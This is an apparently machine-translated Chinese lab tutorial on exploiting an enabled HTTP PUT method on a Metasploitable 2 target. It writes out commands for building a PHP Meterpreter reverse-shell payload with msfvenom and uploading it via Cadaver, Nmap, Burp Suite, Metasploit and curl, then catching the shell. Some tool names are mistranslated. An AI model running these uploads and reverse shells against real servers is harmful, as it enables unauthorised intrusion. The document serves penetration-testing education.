首先,我们将确定是否在目标受害者计算机上启用了HTTP PUT方法,我们将使用几种不同的方法在目标上传上Meterpreter反向shell并对其进行攻击。
0x01表中的内容
- 我介绍了HTTP PUT方法
- 扫描HTTP PUT方法(Nikto)
- 利用尸体开发PUT方法
- 利用Nmap开发 PUT方法
- 利用海报开发 PUT方法
- 利用 Metasploit 开发 PUT方法
- 利用 Burpsuite 开发 PUT方法
- 利用Curl开发 PUT方法
0x02HTTP PUT方法简介
PUT方法最初是作为用于文件管理操作的HTTP方法之一。如果在Web服务器上启用了HTTP PUT方法,则可以使用它将恶意资源上载到目标服务器(例如Web shell)并执行它
由于此方法用于更改或删除目标服务器文件系统中的文件,因此通常会导致各种文件上载漏洞,从而导致严重和危险的攻击。作为最佳实践,组织的文件访问权限如果组织绝对必须启用这些方法,则应严格限制关键服务器以及对授权用户的限制访问。
注意:在本教程中,我们使用一个易受攻击的目标机器进行Pentesting目的并说明各种工具的使用。这纯粹是出于测试环境中的教育目的,未经相关机构/管理层的授权许可,不得在生产环境中使用。
要求
目标: Metasploitable 2
攻击者: Kali Linux机器
让我们开始!!!!
启动Kali Linux计算机(IP:192.168.1.105)并同时在Firefox浏览器中键入受害者IP为192.168.1.103,然后单击WEBDAV。正如我们从屏幕截图中看到的那样,它只列出了父目录。
首先,我们需要确保易受攻击的目标机器具有允许我们上传恶意后门的HTTP PUT方法。为了确认相同,我们需要使用Nikto扫描目标。
Nikto是一种流行的Web服务器扫描程序,可以测试Web服务器是否存在危险文件/ CGI,过时的服务器软件和其他问题。它还执行通用和服务器类型特定检查.Below是扫描URL的命令:
1 | nikto -h http://192.168.1.103/dav/ |
---|---|
运行上述命令后,我们可以观察到下面屏幕截图中突出显示的部分显示允许HTTP PUT方法。现在让我们通过使用下一节中显示的各种技术上传PHP恶意文件来攻击易受攻击的目标机器。
准备要使用msfvenom上传的恶意文件:
Msfvenom可用于创建PHP meterpreter有效负载,为我们提供反向shell。执行以下命令以执行相同操作
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw |
---|---|
将代码从<?php复制到die()并将其保存在桌面上具有.php扩展名为shell.php文件的文件中。这将在后面的部分中使用,以便在Web服务器上上传文件。
同时,通过在新终端上键入msfconsole来加载metasploit框架并启动multi / handler。这将在本节的后面部分中使用
0x03Cadaver
Cadaver是预装在Kali机器上的命令行工具,可以在webdav上上传和下载文件。
使用下面给出的命令键入目标主机URL以上载恶意文件。
1 | cadaver http://192.168.1.103/dav/ |
---|---|
现在,一旦我们进入受害者的目录,通过执行以下命令将文件shell.php从Desktop 上传到目标机器的路径:
1 | put /root/Desktop/shell.php |
---|---|
要验证文件是否已上载,请在浏览器上运行URL:192.168.1.103/dav/。真棒!我们可以看到,恶意文件shell.php已经上传到Web服务器上。
现在,让我们启动Metasploit框架并使用exploit / multi / handler模块启动一个处理程序。将其他值(如LHOST和LPORT值)分别分配给Kali机器的IP和端口以进行侦听。完成后,通过运行命令exploit来执行以开始侦听传入连接。
1 | msf> use exploit/multi/handler |
---|---|
2 | msf exploit(handler) > set payload php/meterpreter/reverse_tcp |
3 | msf exploit(handler) > set lhost 192.168.1.105 |
4 | msf exploit(handler) > set lport 4444 |
5 | msf exploit(handler) > exploit |
按Enter键,我们将观察到反向TCP处理程序已在Kali IP 192.168.1.105:4444上启动。
现在回到之前上传的shell.php文件并单击相同的文件。一旦运行,我们将在meterpreter shell上自动获得TCP反向连接。进一步在meterpreter会话上运行sysinfo命令以获取机器OS /体系结构详细信息。
1 | meterpreter>sysinfo |
---|---|
0x04NMAP
Nmap是一个开源端口扫描器和网络开发工具。如果在任何网络服务器上启用PUT方法,我们也可以在NMAP的帮助下将恶意文件上传到远程Web服务器.Below是配置相同的命令。我们必须使用NSE参数指定文件名和URL路径。并行,准备恶意文件nmap.php以上传到目标服务器。
1 | nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php' |
---|---|
从下面的屏幕截图中可以看出,nmap.php文件已成功上传。
在浏览器192.168.1.103/dav中键入相同的URL并执行相同的操作。从屏幕截图中可以看出,文件nmap.php已经上传到Web服务器上。
同时,打开metasploit MSF控制台并使用multi / handler; 然后返回先前上传的nmap.php文件并运行它。如下所示,这将为我们提供一个仪表预备会话。
0x05Poster
Poster是一个Firefox附加组件和一个开发人员工具,用于与Web服务交互,让最终用户使用以下参数触发HTTP请求:GET,POST,PUT和DELETE,还可以设置实体主体和内容类型
准备要上传到目标计算机的恶意文件poster.php。从Firefox Add-on安装Poster插件。单击菜单栏中的工具。然后从下拉菜单中单击Poster。将打开以下对话框。键入屏幕截图中提到的URL,并通过“浏览”选项提供要上载的恶意文件的路径,最后单击“PUT”操作。
在浏览器192.168.1.103/dav中键入相同的URL并执行相同的操作。从屏幕截图中可以看出,文件poster.php已经上传到Web服务器上。
同时,打开metasploit MSF控制台并使用multi / handler; 然后回到之前上传的poster.php文件并运行它。这将为我们提供一个预备会话。
0x06Burpsuite
Burpsuite是最受欢迎的代理拦截工具之一,其图形界面可以有效地用于分析所有类型的GET和POST请求。
配置最终用户浏览器的手动代理设置,以拦截GET请求浏览URL http://192.168.1.103但不要按Enter键。与此同时,让我们导航到Burpsuite Proxy选项卡,然后单击Intercept子 选项下的Intercept is on选项,以捕获请求。一旦我们在用户的浏览器中点击ENTER,我们就可以在拦截窗口下获取数据。
现在右键单击同一窗口,将显示多个选项的列表。进一步单击Send to repeater。
在下面突出显示的屏幕截图中,我们将分别观察两个面板 - 分别为HTTP Request和HTTP Response的左侧和右侧。可以在HTTP请求中观察到GET方法,现在我们将用PUT方法替换GET,以便上传名为burp.php的文件,该文件包含恶意内容/代码。
型PUT /dav/burp.php HTTP / 1.1中的标题,然后粘贴在PHP恶意代码从<?PHP的开始死亡()在请求结束时,如下所示。这将上传burp.php文件下通过PUT请求的dav目录。
通过在最终用户的浏览器中浏览相同的URL 192.168.1.103/dav来验证并确认文件上载,我们可以看到burp.php文件已上载到Web服务器的/ dav目录中。
同时,打开metasploit MSF控制台并使用multi / handler; 然后回到以前上传的burp.php文件并运行它。这将为我们提供一个预备会话。
0x07Metasploit
Metasploit Framework是一个众所周知的开发,测试和执行漏洞的平台。它是一种用于对目标计算机执行各种攻击的开源工具。此模块可以滥用配置错误的Web服务器,通过PUT和DELETE HTTP请求上传和删除Web内容。将ACTION设置为PUT或DELETE。PUT是默认值。
Metasploit内置了专用于扫描HTTP方法的辅助模块,并使我们能够使用辅助/ scanner / http / http_put输出文件.Below是完成相同操作的命令
1 | msf> use auxiliary/scanner/http/http_put |
---|---|
2 | msf>auxiliary (http_put) > set rhosts 192.168.1.103 |
3 | msf>auxiliary (http_put) > set payload php/meterpreter/reverse_tcp |
4 | msf>auxiliary (http_put) > set path /dav/ |
5 | msf>auxiliary (http_put) > set filename meter.php |
6 | msf>auxiliary (http_put) > set filedata file://root/Desktop/meter.php |
7 | msf>auxiliary (http_put) > exploit |
在浏览器192.168.1.103/dav中键入相同的URL并执行相同的操作。从屏幕截图中可以看出,文件meter.php已经上传到Web服务器上。
同时,打开metasploit MSF控制台并使用multi / handler; 然后回到之前上传的meter.php文件并运行它。这将为我们提供一个预备会话。
0x08cURL
cURL是一个众所周知的命令行工具,使用URL语法发送或接收数据,并与各种众所周知的协议(HTTPS,FTP,SCP,LDAP,Telnet等)兼容。
要使用cURL来利用PUT方法,命令是:
1 | curl http://192.168.1.103/dav/ --upload-file /root/Desktop/curl.php -v |
---|---|
在浏览器192.168.1.103/dav中键入相同的URL并执行相同的操作。从屏幕截图中可以看出,文件curl.php已经上传到Web服务器上。
同时,打开metasploit MSF控制台并使用multi / handler; 然后回到之前上传的curl.php文件并运行它。这将为我们提供一个预备会话。